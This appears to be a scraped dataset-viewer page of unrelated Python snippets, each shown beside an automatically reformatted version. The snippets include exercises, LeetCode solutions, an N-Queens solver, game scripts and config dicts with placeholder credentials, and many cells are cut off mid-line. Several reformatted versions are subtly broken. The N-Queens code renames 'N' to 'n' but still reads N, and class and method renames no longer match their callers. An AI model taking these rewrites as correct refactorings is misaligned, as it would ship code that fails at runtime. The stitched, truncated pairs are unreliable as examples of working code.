color = TEXT_YELLOW
elif ctype == 'green':
color = TEX... |
##########################################################################
# pylogparser - Copyright (C) AGrigis, 2016
# Distributed under the terms of the CeCILL-B license, as published by
# the CEA-CNRS-INRIA. Refer to the LICENSE file or to
# http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html
# for details.... | version_major = 0
version_minor = 1
version_micro = 0
__version__ = '{0}.{1}.{2}'.format(version_major, version_minor, version_micro)
classifiers = ['Development Status :: 5 - Production/Stable', 'Environment :: Console', 'Environment :: X11 Applications :: Qt', 'Operating System :: OS Independent', 'Programming Langua... |
# -*- coding: utf-8
class BaseObject:
"""
Base Unke object type
Represents a node in a document.
"""
def __init__(self, parent=None):
self.parent = parent
self.children = []
self.name = ''
self.properties = {}
@property
def props(self):
return self... | class Baseobject:
"""
Base Unke object type
Represents a node in a document.
"""
def __init__(self, parent=None):
self.parent = parent
self.children = []
self.name = ''
self.properties = {}
@property
def props(self):
return self.properties
@prop... |
# pylint:enable=W04044
"""check unknown option
"""
__revision__ = 1
| """check unknown option
"""
__revision__ = 1 |
class Solution:
def duplicateZeros(self, arr: List[int]) -> None:
"""
Do not return anything, modify arr in-place instead.
"""
for i in range(len(arr) - 1, -1, -1):
if not arr[i]:
arr.insert(i + 1, 0)
arr.pop() | class Solution:
def duplicate_zeros(self, arr: List[int]) -> None:
"""
Do not return anything, modify arr in-place instead.
"""
for i in range(len(arr) - 1, -1, -1):
if not arr[i]:
arr.insert(i + 1, 0)
arr.pop() |
class ClassPropertyDescriptor(object):
#def __init__(self, fget, fset=None):
def __init__(self, fget):
self.fget = fget
#self.fset = fset
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
return self.fget.__get__(obj, klass)()
... | class Classpropertydescriptor(object):
def __init__(self, fget):
self.fget = fget
def __get__(self, obj, klass=None):
if klass is None:
klass = type(obj)
return self.fget.__get__(obj, klass)()
'\n def __set__(self, obj, value):\n if not self.fset:\n ... |
#Escreva um programa que leia uma string e imprima quantas vezes cada caractere aparece nessa string
string = input('Digite uma string: ')
count = {}
for i in string:
count[i] = count.get(i,0) + 1
for chave, valor in count.items():
print(f'{chave}: {valor}x')
print() | string = input('Digite uma string: ')
count = {}
for i in string:
count[i] = count.get(i, 0) + 1
for (chave, valor) in count.items():
print(f'{chave}: {valor}x')
print() |
mitreid_config = {
"dbname": "example_db",
"user": "example_user",
"host": "example_address",
"password": "secret"
}
proxystats_config = {
"dbname": "example_db",
"user": "example_user",
"host": "example_address",
"password": "secret"
} | mitreid_config = {'dbname': 'example_db', 'user': 'example_user', 'host': 'example_address', 'password': 'secret'}
proxystats_config = {'dbname': 'example_db', 'user': 'example_user', 'host': 'example_address', 'password': 'secret'} |
print("Hello World")
a =5
b = 6
sum = a+b
print(sum)
print(sum -11)
| print('Hello World')
a = 5
b = 6
sum = a + b
print(sum)
print(sum - 11) |
# https://leetcode.com/problems/maximum-product-subarray/submissions/
"""
For cases like : [2,3,4] => Product is always going to increase since all nums are +ve
For cases like : [-2 , -3 , -4] => Product is always going to decrease since all nums are -ve
For cases like : [-2 , 3 , 4] => Product may increase or decrea... | """
For cases like : [2,3,4] => Product is always going to increase since all nums are +ve
For cases like : [-2 , -3 , -4] => Product is always going to decrease since all nums are -ve
For cases like : [-2 , 3 , 4] => Product may increase or decrease bcoz of the sign
If we use one variable to store the max , we may ... |
# Welcome back, How did you do on your first quiz? If you got most of the
# questions right, great job. If not, no worries it's all part of elarning. We'll be here
# to help you check that you've really got your head around these concepts with
# regular quizzes like this. If you ever find a question tricky, go back and... | friends = ['Taylor', 'Alex', 'Pat', 'Eli']
for friend in friends:
print('Hi ' + friend) |
"""
Entradas
Edad1 --> int --> edad_uno
Edad2 --> int --> edad_dos
Edad3 --> int --> edad_tres
Salidas
Pormedio --> float --> prom
"""
edad_uno=int(input("Digite la edad uno: "))
edad_dos=int(input("Digite la edad dos: "))
edad_tres=int(input("Digite la edad tres: "))
#cajanegra
prom=(edad_uno+ edad_dos+edad_tres)/3
#S... | """
Entradas
Edad1 --> int --> edad_uno
Edad2 --> int --> edad_dos
Edad3 --> int --> edad_tres
Salidas
Pormedio --> float --> prom
"""
edad_uno = int(input('Digite la edad uno: '))
edad_dos = int(input('Digite la edad dos: '))
edad_tres = int(input('Digite la edad tres: '))
prom = (edad_uno + edad_dos + edad_tres) / 3
... |
def to_huf(amount: int) -> str:
"""
Amount converted to huf with decimal marks, otherwise return 0 ft
e.g. 1000 -> 1.000 ft
"""
if amount == "-":
return "-"
try:
decimal_marked = format(int(amount), ',d')
except ValueError:
return "0 ft"
return f"{decimal_marked... | def to_huf(amount: int) -> str:
"""
Amount converted to huf with decimal marks, otherwise return 0 ft
e.g. 1000 -> 1.000 ft
"""
if amount == '-':
return '-'
try:
decimal_marked = format(int(amount), ',d')
except ValueError:
return '0 ft'
return f"{decimal_marked.r... |
class Shirt:
title = None
color = None
def setTitle(self, title):
self.title = title
def setColor(self, color):
self.color = color
def getTitle(self):
return self.title
def getColor(self):
return self.color
def calculatePrice(self):
return len(sel... | class Shirt:
title = None
color = None
def set_title(self, title):
self.title = title
def set_color(self, color):
self.color = color
def get_title(self):
return self.title
def get_color(self):
return self.color
def calculate_price(self):
return le... |
"""
Message templates to log when handling responses to requests that are SUCCESFUL.
Failed requests are logged using the error code contained in the response and its related message.
"""
resp_get_currency = '{currency}:\n' \
'\t{fullName}({id}):' \
'\tIs a cryptocurrency: {crypto}\n' \
... | """
Message templates to log when handling responses to requests that are SUCCESFUL.
Failed requests are logged using the error code contained in the response and its related message.
"""
resp_get_currency = '{currency}:\n\t{fullName}({id}):\tIs a cryptocurrency: {crypto}\n\tDeposits available: {payinEnabled}\n\tpayinP... |
# Python3 program to solve N Queen Problem using backtracking
# N = Number of Queens to be placed (in this case, N = 4)
global N
N = 4
# a function to print the board with the solution
def printSolution(board):
for i in range(N):
for j in range(N):
print (board[i][j], end = " ")
print()
# A function ... | global N
n = 4
def print_solution(board):
for i in range(N):
for j in range(N):
print(board[i][j], end=' ')
print()
def is_safe(board, row, col):
for i in range(col):
if board[row][i] == 1:
return False
for (i, j) in zip(range(row, -1, -1), range(col, -1, -1... |
update_user_permissions_response = {
'user': 'enterprise_search',
'permissions': ['permission2']
}
| update_user_permissions_response = {'user': 'enterprise_search', 'permissions': ['permission2']} |
# CPU: 0.05 s
n = int(input())
if n % 2 == 0:
print((n // 2 + 1) ** 2)
else:
print((n // 2 + 1) * (n // 2 + 2))
| n = int(input())
if n % 2 == 0:
print((n // 2 + 1) ** 2)
else:
print((n // 2 + 1) * (n // 2 + 2)) |
li= list(map(int,input().split(" ")))
a=li[0]
b=li[1]
c=li[2]
d=li[3]
flag=0
if(a==(b+c+d)):
flag=1
elif(b==(a+c+d)):
flag=1
elif(c==(a+b+d)):
flag=1
elif(d == (a+b+c)):
flag=1
elif((a+b) == (c+d)):
flag=1
elif((a+c) == (b+d)):
flag=1
elif((a+d) == (b+c)):
flag=1
if(flag ==1):
print("Yes")
else:
print... | li = list(map(int, input().split(' ')))
a = li[0]
b = li[1]
c = li[2]
d = li[3]
flag = 0
if a == b + c + d:
flag = 1
elif b == a + c + d:
flag = 1
elif c == a + b + d:
flag = 1
elif d == a + b + c:
flag = 1
elif a + b == c + d:
flag = 1
elif a + c == b + d:
flag = 1
elif a + d == b + c:
flag... |
# Generated by [Toolkit-Py](https://github.com/fujiawei-dev/toolkit-py) Generator
# Created at 2022-02-06 10:58:35.566935, Version 0.2.9
__version__ = '0.0.5'
| __version__ = '0.0.5' |
def get_expenses_from_input(input_location):
f = open(input_location, 'r')
expenses = f.read().split('\n')
f.close()
expenses_list_number = []
for expense in expenses:
expenses_list_number.append(int(expense))
expenses_list_number.sort()
return expenses_list_number
def get_thr... | def get_expenses_from_input(input_location):
f = open(input_location, 'r')
expenses = f.read().split('\n')
f.close()
expenses_list_number = []
for expense in expenses:
expenses_list_number.append(int(expense))
expenses_list_number.sort()
return expenses_list_number
def get_three_exp... |
#!/usr/bin/python
class LSRConfig:
# Downstream on demand, unsolicited downstream, or default
# Label distribution protocol
# Label retention mode
LABEL_RETENTION = False
# re-use labels at peers (aka "per interface" scope)
# only applicable for peers that come into different local interfaces
P... | class Lsrconfig:
label_retention = False
per_interface_label_scope = False |
tree_map = """.......#................#......
...#.#.....#.##.....#..#.......
..#..#.#......#.#.#............
....#...#...##.....#..#.....#..
....#.......#.##......#...#..#.
...............#.#.#.....#..#..
...##...#...#..##.###...##.....
##..#.#...##.....#.#..........#
.#....#..#..#......#....#....#.
..................... | tree_map = '.......#................#......\n...#.#.....#.##.....#..#.......\n..#..#.#......#.#.#............\n....#...#...##.....#..#.....#..\n....#.......#.##......#...#..#.\n...............#.#.#.....#..#..\n...##...#...#..##.###...##.....\n##..#.#...##.....#.#..........#\n.#....#..#..#......#....#....#.\n.............. |
# data for single play
num_rows = 23
num_columns = 10
block_size = 60
screen_width = block_size * 40
screen_length = block_size * 22
field_width = block_size * 10
field_length = block_size * 20
field_x = block_size * 7
field_y = block_size * 1
hold_ratio = 0.8
hold_block_size = block_size * hold_ratio
hold_width =... | num_rows = 23
num_columns = 10
block_size = 60
screen_width = block_size * 40
screen_length = block_size * 22
field_width = block_size * 10
field_length = block_size * 20
field_x = block_size * 7
field_y = block_size * 1
hold_ratio = 0.8
hold_block_size = block_size * hold_ratio
hold_width = hold_block_size * 5
hold_le... |
# This file will be patched by setup.py
# The __version__ should be set to the branch name
# Leave __baseline__ set to unknown to enable setting commit-hash
# (e.g. "develop" or "1.2.x")
# You MUST use double quotes (so " and not ')
__version__ = "3.2.0-develop"
__baseline__ = "unknown"
| __version__ = '3.2.0-develop'
__baseline__ = 'unknown' |
def hideUnits(units):
for i in range(len(units)):
hero.command(units[i], "move", {x: 34, y: 10 + i * 12})
peasants = hero.findFriends()
types = peasants[0].buildOrder.split(",")
for i in range(len(peasants)):
hero.command(peasants[i], "buildXY", types[i], 16, 10 + i * 12)
while True:
... | def hide_units(units):
for i in range(len(units)):
hero.command(units[i], 'move', {x: 34, y: 10 + i * 12})
peasants = hero.findFriends()
types = peasants[0].buildOrder.split(',')
for i in range(len(peasants)):
hero.command(peasants[i], 'buildXY', types[i], 16, 10 + i * 12)
while True:
if hero.findNe... |
class Solution:
def findDisappearedNumbers(self, nums: List[int]) -> List[int]:
unique = set(nums)
ans = []
for i in range(1, len(nums) + 1):
if not i in unique:
ans.append(i)
return ans | class Solution:
def find_disappeared_numbers(self, nums: List[int]) -> List[int]:
unique = set(nums)
ans = []
for i in range(1, len(nums) + 1):
if not i in unique:
ans.append(i)
return ans |
# https://www.codingame.com/training/easy/the-dart-101
TARGET_SCORE = 101
def simulate(shoots):
rounds, throws, misses, score = 1, 0, 0, 0
prev_round_score = 0
prev_shot = ''
for shot in shoots.split():
throws += 1
if 'X' in shot:
misses += 1
score -= 20
... | target_score = 101
def simulate(shoots):
(rounds, throws, misses, score) = (1, 0, 0, 0)
prev_round_score = 0
prev_shot = ''
for shot in shoots.split():
throws += 1
if 'X' in shot:
misses += 1
score -= 20
if prev_shot == 'X':
score -= 1... |
file = open("sentencesINA.txt","r")
file_lines = file.readlines()
file.close()
good_sentences = set([])
sentences = set([])
count = 0
big_sen_count = 0
good_sen_count = 0
good_value_count = 0
error = 0
for line in file_lines:
first_split = line.find("|| (('")
sentence = line[0:first_split]
split = line[... | file = open('sentencesINA.txt', 'r')
file_lines = file.readlines()
file.close()
good_sentences = set([])
sentences = set([])
count = 0
big_sen_count = 0
good_sen_count = 0
good_value_count = 0
error = 0
for line in file_lines:
first_split = line.find("|| (('")
sentence = line[0:first_split]
split = line[fir... |
# Neat trick to make simple namespaces:
# http://stackoverflow.com/questions/4984647/accessing-dict-keys-like-an-attribute-in-python
class Namespace(dict):
def __init__(self, *args, **kwargs):
super(Namespace, self).__init__(*args, **kwargs)
self.__dict__ = self
| class Namespace(dict):
def __init__(self, *args, **kwargs):
super(Namespace, self).__init__(*args, **kwargs)
self.__dict__ = self |
#!/usr/bin/python
#
# Copyright 2002-2019 Barcelona Supercomputing Center (www.bsc.es)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
... | """
PyCOMPSs API - COMMONS - ERROR MESSAGES
=======================================
This file defines the public PyCOMPSs error messages displayed
by the api.
"""
def not_in_pycompss(decorator_name):
"""
Retrieves the "not in PyCOMPSs scope" error message.
:param decorator_name: Decorator name whi... |
class boyce(object):
def bmMatch(self, pattern):
#algoritma didapatkan dari slide pa munir
last=[]
last = self.buildLast(pattern)
n = len(self.text)
m = len(pattern)
i = m-1
if (i > n-1):
return -1 #kalo ga ketemu file bersangkutan
j = m-1;... | class Boyce(object):
def bm_match(self, pattern):
last = []
last = self.buildLast(pattern)
n = len(self.text)
m = len(pattern)
i = m - 1
if i > n - 1:
return -1
j = m - 1
if pattern[j] == self.text[i]:
if j == 0:
... |
"""Event classes and event-processing mechanisms
This package defines a set of "local" event classes which are
to be used by client applications. These include keyboard,
keypress, mousebutton and mousemove events. The package also
defines a set of modules which translated from GUI events/
callbacks to the local even... | """Event classes and event-processing mechanisms
This package defines a set of "local" event classes which are
to be used by client applications. These include keyboard,
keypress, mousebutton and mousemove events. The package also
defines a set of modules which translated from GUI events/
callbacks to the local even... |
def whataboutstarwars():
i01.disableRobotRandom(30)
# PlayNeopixelAnimation("Ironman", 255, 255, 255, 1)
sleep(3)
# StopNeopixelAnimation()
i01.disableRobotRandom(30)
x = (random.randint(1, 3))
if x == 1:
fullspeed()
i01.moveHead(130,149,87,80,100)
AudioPlayer.playFile(RuningFolder+'/sys... | def whataboutstarwars():
i01.disableRobotRandom(30)
sleep(3)
i01.disableRobotRandom(30)
x = random.randint(1, 3)
if x == 1:
fullspeed()
i01.moveHead(130, 149, 87, 80, 100)
AudioPlayer.playFile(RuningFolder + '/system/sounds/R2D2.mp3')
sleep(1)
i01.moveHead(155... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.